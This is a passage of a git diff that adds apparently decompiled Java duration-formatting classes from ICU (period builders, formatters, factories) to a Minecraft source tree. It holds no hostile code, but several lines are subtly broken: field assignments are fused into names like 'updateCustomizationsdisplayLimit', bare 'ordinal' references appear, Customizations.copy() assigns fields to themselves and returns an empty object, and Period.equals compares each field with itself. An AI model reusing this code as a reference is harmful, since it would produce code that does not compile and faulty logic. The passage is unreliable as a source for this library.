+      int count = counts[i] - 1;
+      
+      int cv = customs.countVariant;
+      if (i == last) {
+        if (forceD3Seconds) {
+          cv = 5;
+        }
+      }
+      else {
+        cv = 0;
+      }
+      boolean isLast = i == last;
+      boolean mustSkip = data.appendUnit(unit, count, cv, customs.unitVariant, countSep, useDigitPrefix, multiple, isLast, wasSkipped, sb);
+      
+      skipped |= mustSkip;
+      wasSkipped = false;
+      
+      if ((customs.separatorVariant != 0) && (j <= last)) {
+        boolean afterFirst = i == first;
+        boolean beforeLast = j == last;
+        boolean fullSep = customs.separatorVariant == 2;
+        useDigitPrefix = data.appendUnitSeparator(unit, fullSep, afterFirst, beforeLast, sb);
+      } else {
+        useDigitPrefix = false;
+      }
+    }
+    data.appendSuffix(tl, td, sb);
+    
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatterFactory.java b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatterFactory.java
new file mode 100644
index 0000000..d4c639a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatterFactory.java
@@ -0,0 +1,233 @@
+package com.ibm.icu.impl.duration;
+
+import com.ibm.icu.impl.duration.impl.PeriodFormatterData;
+import com.ibm.icu.impl.duration.impl.PeriodFormatterDataService;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicPeriodFormatterFactory
+  implements PeriodFormatterFactory
+{
+  private final PeriodFormatterDataService ds;
+  private PeriodFormatterData data;
+  private Customizations customizations;
+  private boolean customizationsInUse;
+  private String localeName;
+  
+  BasicPeriodFormatterFactory(PeriodFormatterDataService ds)
+  {
+    this.ds = ds;
+    customizations = new Customizations();
+    localeName = Locale.getDefault().toString();
+  }
+  
+
+
+
+
+  public static BasicPeriodFormatterFactory getDefault()
+  {
+    return (BasicPeriodFormatterFactory)BasicPeriodFormatterService.getInstance().newPeriodFormatterFactory();
+  }
+  
+
+
+
+  public PeriodFormatterFactory setLocale(String localeName)
+  {
+    data = null;
+    this.localeName = localeName;
+    return this;
+  }
+  
+
+
+
+
+
+  public PeriodFormatterFactory setDisplayLimit(boolean display)
+  {
+    updateCustomizationsdisplayLimit = display;
+    return this;
+  }
+  
+
+
+
+
+  public boolean getDisplayLimit()
+  {
+    return customizations.displayLimit;
+  }
+  
+
+
+
+
+
+  public PeriodFormatterFactory setDisplayPastFuture(boolean display)
+  {
+    updateCustomizationsdisplayDirection = display;
+    return this;
+  }
+  
+
+
+
+
+  public boolean getDisplayPastFuture()
+  {
+    return customizations.displayDirection;
+  }
+  
+
+
+
+
+
+  public PeriodFormatterFactory setSeparatorVariant(int variant)
+  {
+    updateCustomizationsseparatorVariant = ((byte)variant);
+    return this;
+  }
+  
+
+
+
+
+  public int getSeparatorVariant()
+  {
+    return customizations.separatorVariant;
+  }
+  
+
+
+
+
+
+  public PeriodFormatterFactory setUnitVariant(int variant)
+  {
+    updateCustomizationsunitVariant = ((byte)variant);
+    return this;
+  }
+  
+
+
+
+
+  public int getUnitVariant()
+  {
+    return customizations.unitVariant;
+  }
+  
+
+
+
+
+
+  public PeriodFormatterFactory setCountVariant(int variant)
+  {
+    updateCustomizationscountVariant = ((byte)variant);
+    return this;
+  }
+  
+
+
+
+
+  public int getCountVariant()
+  {
+    return customizations.countVariant;
+  }
+  
+  public PeriodFormatter getFormatter() {
+    customizationsInUse = true;
+    return new BasicPeriodFormatter(this, localeName, getData(), customizations);
+  }
+  
+  private Customizations updateCustomizations()
+  {
+    if (customizationsInUse) {
+      customizations = customizations.copy();
+      customizationsInUse = false;
+    }
+    return customizations;
+  }
+  
+  PeriodFormatterData getData()
+  {
+    if (data == null) {
+      data = ds.get(localeName);
+    }
+    return data;
+  }
+  
+
+
+  PeriodFormatterData getData(String locName) { return ds.get(locName); }
+  
+  static class Customizations {
+    Customizations() {}
+    
+    boolean displayLimit = true;
+    boolean displayDirection = true;
+    byte separatorVariant = 2;
+    byte unitVariant = 0;
+    byte countVariant = 0;
+    
+    public Customizations copy() {
+      Customizations result = new Customizations();
+      displayLimit = displayLimit;
+      displayDirection = displayDirection;
+      separatorVariant = separatorVariant;
+      unitVariant = unitVariant;
+      countVariant = countVariant;
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatterService.java b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatterService.java
new file mode 100644
index 0000000..313bc2b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatterService.java
@@ -0,0 +1,62 @@
+package com.ibm.icu.impl.duration;
+
+import com.ibm.icu.impl.duration.impl.PeriodFormatterDataService;
+import com.ibm.icu.impl.duration.impl.ResourceBasedPeriodFormatterDataService;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicPeriodFormatterService
+  implements PeriodFormatterService
+{
+  private static BasicPeriodFormatterService instance;
+  private PeriodFormatterDataService ds;
+  
+  public static BasicPeriodFormatterService getInstance()
+  {
+    if (instance == null) {
+      PeriodFormatterDataService ds = ResourceBasedPeriodFormatterDataService.getInstance();
+      
+      instance = new BasicPeriodFormatterService(ds);
+    }
+    return instance;
+  }
+  
+
+
+
+
+
+  public BasicPeriodFormatterService(PeriodFormatterDataService ds)
+  {
+    this.ds = ds;
+  }
+  
+  public DurationFormatterFactory newDurationFormatterFactory() {
+    return new BasicDurationFormatterFactory(this);
+  }
+  
+  public PeriodFormatterFactory newPeriodFormatterFactory() {
+    return new BasicPeriodFormatterFactory(ds);
+  }
+  
+  public PeriodBuilderFactory newPeriodBuilderFactory() {
+    return new BasicPeriodBuilderFactory(ds);
+  }
+  
+  public Collection<String> getAvailableLocaleNames() {
+    return ds.getAvailableLocales();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/DateFormatter.java b/src/minecraft/com/ibm/icu/impl/duration/DateFormatter.java
new file mode 100644
index 0000000..6d35e66
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/DateFormatter.java
@@ -0,0 +1,15 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.Date;
+import java.util.TimeZone;
+
+public abstract interface DateFormatter
+{
+  public abstract String format(Date paramDate);
+  
+  public abstract String format(long paramLong);
+  
+  public abstract DateFormatter withLocale(String paramString);
+  
+  public abstract DateFormatter withTimeZone(TimeZone paramTimeZone);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/DurationFormatter.java b/src/minecraft/com/ibm/icu/impl/duration/DurationFormatter.java
new file mode 100644
index 0000000..ab802ab
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/DurationFormatter.java
@@ -0,0 +1,17 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.Date;
+import java.util.TimeZone;
+
+public abstract interface DurationFormatter
+{
+  public abstract String formatDurationFromNowTo(Date paramDate);
+  
+  public abstract String formatDurationFromNow(long paramLong);
+  
+  public abstract String formatDurationFrom(long paramLong1, long paramLong2);
+  
+  public abstract DurationFormatter withLocale(String paramString);
+  
+  public abstract DurationFormatter withTimeZone(TimeZone paramTimeZone);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/DurationFormatterFactory.java b/src/minecraft/com/ibm/icu/impl/duration/DurationFormatterFactory.java
new file mode 100644
index 0000000..cca9b19
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/DurationFormatterFactory.java
@@ -0,0 +1,20 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.TimeZone;
+
+public abstract interface DurationFormatterFactory
+{
+  public abstract DurationFormatterFactory setPeriodFormatter(PeriodFormatter paramPeriodFormatter);
+  
+  public abstract DurationFormatterFactory setPeriodBuilder(PeriodBuilder paramPeriodBuilder);
+  
+  public abstract DurationFormatterFactory setFallback(DateFormatter paramDateFormatter);
+  
+  public abstract DurationFormatterFactory setFallbackLimit(long paramLong);
+  
+  public abstract DurationFormatterFactory setLocale(String paramString);
+  
+  public abstract DurationFormatterFactory setTimeZone(TimeZone paramTimeZone);
+  
+  public abstract DurationFormatter getFormatter();
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/FixedUnitBuilder.java b/src/minecraft/com/ibm/icu/impl/duration/FixedUnitBuilder.java
new file mode 100644
index 0000000..5772ad4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/FixedUnitBuilder.java
@@ -0,0 +1,383 @@
+package com.ibm.icu.impl.duration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class FixedUnitBuilder
+  extends PeriodBuilderImpl
+{
+  private TimeUnit unit;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static FixedUnitBuilder get(TimeUnit unit, BasicPeriodBuilderFactory.Settings settingsToUse)
+  {
+    if ((settingsToUse != null) && ((settingsToUse.effectiveSet() & 1 << ordinal) != 0)) {
+      return new FixedUnitBuilder(unit, settingsToUse);
+    }
+    return null;
+  }
+  
+  FixedUnitBuilder(TimeUnit unit, BasicPeriodBuilderFactory.Settings settings) {
+    super(settings);
+    this.unit = unit;
+  }
+  
+  protected PeriodBuilder withSettings(BasicPeriodBuilderFactory.Settings settingsToUse) {
+    return get(unit, settingsToUse);
+  }
+  
+  protected Period handleCreate(long duration, long referenceDate, boolean inPast)
+  {
+    if (unit == null) {
+      return null;
+    }
+    long unitDuration = approximateDurationOf(unit);
+    return Period.at((float)(duration / unitDuration), unit).inPast(inPast);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/MultiUnitBuilder.java b/src/minecraft/com/ibm/icu/impl/duration/MultiUnitBuilder.java
new file mode 100644
index 0000000..21b731f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/MultiUnitBuilder.java
@@ -0,0 +1,513 @@
+package com.ibm.icu.impl.duration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class MultiUnitBuilder
+  extends PeriodBuilderImpl
+{
+  private int nPeriods;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  MultiUnitBuilder(int nPeriods, BasicPeriodBuilderFactory.Settings settings)
+  {
+    super(settings);
+    this.nPeriods = nPeriods;
+  }
+  
+  public static MultiUnitBuilder get(int nPeriods, BasicPeriodBuilderFactory.Settings settings) {
+    if ((nPeriods > 0) && (settings != null)) {
+      return new MultiUnitBuilder(nPeriods, settings);
+    }
+    return null;
+  }
+  
+  protected PeriodBuilder withSettings(BasicPeriodBuilderFactory.Settings settingsToUse) {
+    return get(nPeriods, settingsToUse);
+  }
+  
+  protected Period handleCreate(long duration, long referenceDate, boolean inPast)
+  {
+    Period period = null;
+    int n = 0;
+    short uset = settings.effectiveSet();
+    for (int i = 0; i < TimeUnit.units.length; i++) {
+      if (0 != (uset & 1 << i)) {
+        TimeUnit unit = TimeUnit.units[i];
+        if (n == nPeriods) {
+          break;
+        }
+        long unitDuration = approximateDurationOf(unit);
+        if ((duration >= unitDuration) || (n > 0)) {
+          n++;
+          double count = duration / unitDuration;
+          if (n < nPeriods) {
+            count = Math.floor(count);
+            duration -= (count * unitDuration);
+          }
+          if (period == null) {
+            period = Period.at((float)count, unit).inPast(inPast);
+          } else {
+            period = period.and((float)count, unit);
+          }
+        }
+      }
+    }
+    return period;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/OneOrTwoUnitBuilder.java b/src/minecraft/com/ibm/icu/impl/duration/OneOrTwoUnitBuilder.java
new file mode 100644
index 0000000..7b67c38
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/OneOrTwoUnitBuilder.java
@@ -0,0 +1,463 @@
+package com.ibm.icu.impl.duration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class OneOrTwoUnitBuilder
+  extends PeriodBuilderImpl
+{
+  OneOrTwoUnitBuilder(BasicPeriodBuilderFactory.Settings settings)
+  {
+    super(settings);
+  }
+  
+  public static OneOrTwoUnitBuilder get(BasicPeriodBuilderFactory.Settings settings) {
+    if (settings == null) {
+      return null;
+    }
+    return new OneOrTwoUnitBuilder(settings);
+  }
+  
+  protected PeriodBuilder withSettings(BasicPeriodBuilderFactory.Settings settingsToUse) {
+    return get(settingsToUse);
+  }
+  
+  protected Period handleCreate(long duration, long referenceDate, boolean inPast)
+  {
+    Period period = null;
+    short uset = settings.effectiveSet();
+    for (int i = 0; i < TimeUnit.units.length; i++) {
+      if (0 != (uset & 1 << i)) {
+        TimeUnit unit = TimeUnit.units[i];
+        long unitDuration = approximateDurationOf(unit);
+        if ((duration >= unitDuration) || (period != null)) {
+          double count = duration / unitDuration;
+          if (period == null) {
+            if (count >= 2.0D) {
+              period = Period.at((float)count, unit);
+              break;
+            }
+            period = Period.at(1.0F, unit).inPast(inPast);
+            duration -= unitDuration;
+          } else {
+            if (count < 1.0D) break;
+            period = period.and((float)count, unit); break;
+          }
+        }
+      }
+    }
+    
+
+    return period;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/Period.java b/src/minecraft/com/ibm/icu/impl/duration/Period.java
new file mode 100644
index 0000000..b1bad72
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/Period.java
@@ -0,0 +1,372 @@
+package com.ibm.icu.impl.duration;
+
+
+
+
+
+
+
+
+
+public final class Period
+{
+  final byte timeLimit;
+  
+
+
+
+
+
+
+  final boolean inFuture;
+  
+
+
+
+
+
+
+  final int[] counts;
+  
+
+
+
+
+
+
+
+  public static Period at(float count, TimeUnit unit)
+  {
+    checkCount(count);
+    return new Period(0, false, count, unit);
+  }
+  
+
+
+
+
+
+
+  public static Period moreThan(float count, TimeUnit unit)
+  {
+    checkCount(count);
+    return new Period(2, false, count, unit);
+  }
+  
+
+
+
+
+
+
+  public static Period lessThan(float count, TimeUnit unit)
+  {
+    checkCount(count);
+    return new Period(1, false, count, unit);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Period and(float count, TimeUnit unit)
+  {
+    checkCount(count);
+    return setTimeUnitValue(unit, count);
+  }
+  
+
+
+
+
+
+  public Period omit(TimeUnit unit)
+  {
+    return setTimeUnitInternalValue(unit, 0);
+  }
+  
+
+
+
+
+  public Period at()
+  {
+    return setTimeLimit((byte)0);
+  }
+  
+
+
+
+
+  public Period moreThan()
+  {
+    return setTimeLimit((byte)2);
+  }
+  
+
+
+
+
+  public Period lessThan()
+  {
+    return setTimeLimit((byte)1);
+  }
+  
+
+
+
+
+  public Period inFuture()
+  {
+    return setFuture(true);
+  }
+  
+
+
+
+
+  public Period inPast()
+  {
+    return setFuture(false);
+  }
+  
+
+
+
+
+
+
+  public Period inFuture(boolean future)
+  {
+    return setFuture(future);
+  }
+  
+
+
+
+
+
+
+  public Period inPast(boolean past)
+  {
+    return setFuture(!past);
+  }
+  
+
+
+
+  public boolean isSet()
+  {
+    for (int i = 0; i < counts.length; i++) {
+      if (counts[i] != 0) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  public boolean isSet(TimeUnit unit)
+  {
+    return counts[ordinal] > 0;
+  }
+  
+
+
+
+
+
+  public float getCount(TimeUnit unit)
+  {
+    int ord = ordinal;
+    if (counts[ord] == 0) {
+      return 0.0F;
+    }
+    return (counts[ord] - 1) / 1000.0F;
+  }
+  
+
+
+
+
+
+  public boolean isInFuture()
+  {
+    return inFuture;
+  }
+  
+
+
+
+
+
+  public boolean isInPast()
+  {
+    return !inFuture;
+  }
+  
+
+
+
+
+
+  public boolean isMoreThan()
+  {
+    return timeLimit == 2;
+  }
+  
+
+
+
+
+
+  public boolean isLessThan()
+  {
+    return timeLimit == 1;
+  }
+  
+
+
+
+
+  public boolean equals(Object rhs)
+  {
+    try
+    {
+      return equals((Period)rhs);
+    }
+    catch (ClassCastException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(Period rhs)
+  {
+    if ((rhs != null) && (timeLimit == timeLimit) && (inFuture == inFuture))
+    {
+
+      for (int i = 0; i < counts.length; i++) {
+        if (counts[i] != counts[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    int hc = timeLimit << 1 | (inFuture ? 1 : 0);
+    for (int i = 0; i < counts.length; i++) {
+      hc = hc << 2 ^ counts[i];
+    }
+    return hc;
+  }
+  
+
+
+  private Period(int limit, boolean future, float count, TimeUnit unit)
+  {
+    timeLimit = ((byte)limit);
+    inFuture = future;
+    counts = new int[TimeUnit.units.length];
+    counts[ordinal] = ((int)(count * 1000.0F) + 1);
+  }
+  
+
+
+  Period(int timeLimit, boolean inFuture, int[] counts)
+  {
+    this.timeLimit = ((byte)timeLimit);
+    this.inFuture = inFuture;
+    this.counts = counts;
+  }
+  
+
+
+  private Period setTimeUnitValue(TimeUnit unit, float value)
+  {
+    if (value < 0.0F) {
+      throw new IllegalArgumentException("value: " + value);
+    }
+    return setTimeUnitInternalValue(unit, (int)(value * 1000.0F) + 1);
+  }
+  
+
+
+
+
+
+
+
+  private Period setTimeUnitInternalValue(TimeUnit unit, int value)
+  {
+    int ord = ordinal;
+    if (counts[ord] != value) {
+      int[] newCounts = new int[counts.length];
+      for (int i = 0; i < counts.length; i++) {
+        newCounts[i] = counts[i];
+      }
+      newCounts[ord] = value;
+      return new Period(timeLimit, inFuture, newCounts);
+    }
+    return this;
+  }
+  
+
+
+
+
+  private Period setFuture(boolean future)
+  {
+    if (inFuture != future) {
+      return new Period(timeLimit, future, counts);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+  private Period setTimeLimit(byte limit)
+  {
+    if (timeLimit != limit) {
+      return new Period(limit, inFuture, counts);
+    }
+    
+    return this;
+  }
+  
+
+
+  private static void checkCount(float count)
+  {
+    if (count < 0.0F) {
+      throw new IllegalArgumentException("count (" + count + ") cannot be negative");
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilder.java b/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilder.java
new file mode 100644
index 0000000..3e564b6
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilder.java
@@ -0,0 +1,14 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.TimeZone;
+
+public abstract interface PeriodBuilder
+{
+  public abstract Period create(long paramLong);
+  
+  public abstract Period createWithReferenceDate(long paramLong1, long paramLong2);
+  
+  public abstract PeriodBuilder withLocale(String paramString);
+  
+  public abstract PeriodBuilder withTimeZone(TimeZone paramTimeZone);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilderFactory.java b/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilderFactory.java
new file mode 100644
index 0000000..9ab0b84
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilderFactory.java
@@ -0,0 +1,32 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.TimeZone;
+
+public abstract interface PeriodBuilderFactory
+{
+  public abstract PeriodBuilderFactory setAvailableUnitRange(TimeUnit paramTimeUnit1, TimeUnit paramTimeUnit2);
+  
+  public abstract PeriodBuilderFactory setUnitIsAvailable(TimeUnit paramTimeUnit, boolean paramBoolean);
+  
+  public abstract PeriodBuilderFactory setMaxLimit(float paramFloat);
+  
+  public abstract PeriodBuilderFactory setMinLimit(float paramFloat);
+  
+  public abstract PeriodBuilderFactory setAllowZero(boolean paramBoolean);
+  
+  public abstract PeriodBuilderFactory setWeeksAloneOnly(boolean paramBoolean);
+  
+  public abstract PeriodBuilderFactory setAllowMilliseconds(boolean paramBoolean);
+  
+  public abstract PeriodBuilderFactory setLocale(String paramString);
+  
+  public abstract PeriodBuilderFactory setTimeZone(TimeZone paramTimeZone);
+  
+  public abstract PeriodBuilder getFixedUnitBuilder(TimeUnit paramTimeUnit);
+  
+  public abstract PeriodBuilder getSingleUnitBuilder();
+  
+  public abstract PeriodBuilder getOneOrTwoUnitBuilder();
+  
+  public abstract PeriodBuilder getMultiUnitBuilder(int paramInt);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilderImpl.java b/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilderImpl.java
new file mode 100644
index 0000000..c7211a8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/PeriodBuilderImpl.java
@@ -0,0 +1,354 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class PeriodBuilderImpl
+  implements PeriodBuilder
+{
+  protected BasicPeriodBuilderFactory.Settings settings;
+  
+  public Period create(long duration)
+  {
+    return createWithReferenceDate(duration, System.currentTimeMillis());
+  }
+  
+  public long approximateDurationOf(TimeUnit unit) {
+    return BasicPeriodBuilderFactory.approximateDurationOf(unit);
+  }
+  
+  public Period createWithReferenceDate(long duration, long referenceDate) {
+    boolean inPast = duration < 0L;
+    if (inPast) {
+      duration = -duration;
+    }
+    Period ts = settings.createLimited(duration, inPast);
+    if (ts == null) {
+      ts = handleCreate(duration, referenceDate, inPast);
+      if (ts == null) {
+        ts = Period.lessThan(1.0F, settings.effectiveMinUnit()).inPast(inPast);
+      }
+    }
+    return ts;
+  }
+  
+  public PeriodBuilder withTimeZone(TimeZone timeZone)
+  {
+    return this;
+  }
+  
+  public PeriodBuilder withLocale(String localeName) {
+    BasicPeriodBuilderFactory.Settings newSettings = settings.setLocale(localeName);
+    if (newSettings != settings) {
+      return withSettings(newSettings);
+    }
+    return this;
+  }
+  
+  protected abstract PeriodBuilder withSettings(BasicPeriodBuilderFactory.Settings paramSettings);
+  
+  protected abstract Period handleCreate(long paramLong1, long paramLong2, boolean paramBoolean);
+  
+  protected PeriodBuilderImpl(BasicPeriodBuilderFactory.Settings settings)
+  {
+    this.settings = settings;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatter.java b/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatter.java
new file mode 100644
index 0000000..9b5ae88
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatter.java
@@ -0,0 +1,8 @@
+package com.ibm.icu.impl.duration;
+
+public abstract interface PeriodFormatter
+{
+  public abstract String format(Period paramPeriod);
+  
+  public abstract PeriodFormatter withLocale(String paramString);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatterFactory.java b/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatterFactory.java
new file mode 100644
index 0000000..1249f96
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatterFactory.java
@@ -0,0 +1,18 @@
+package com.ibm.icu.impl.duration;
+
+public abstract interface PeriodFormatterFactory
+{
+  public abstract PeriodFormatterFactory setLocale(String paramString);
+  
+  public abstract PeriodFormatterFactory setDisplayLimit(boolean paramBoolean);
+  
+  public abstract PeriodFormatterFactory setDisplayPastFuture(boolean paramBoolean);
+  
+  public abstract PeriodFormatterFactory setSeparatorVariant(int paramInt);
+  
+  public abstract PeriodFormatterFactory setUnitVariant(int paramInt);
+  
+  public abstract PeriodFormatterFactory setCountVariant(int paramInt);
+  
+  public abstract PeriodFormatter getFormatter();
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatterService.java b/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatterService.java
new file mode 100644
index 0000000..95fffb9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/PeriodFormatterService.java
@@ -0,0 +1,14 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.Collection;
+
+public abstract interface PeriodFormatterService
+{
+  public abstract DurationFormatterFactory newDurationFormatterFactory();
+  
+  public abstract PeriodFormatterFactory newPeriodFormatterFactory();
+  
+  public abstract PeriodBuilderFactory newPeriodBuilderFactory();
+  
+  public abstract Collection<String> getAvailableLocaleNames();
+}
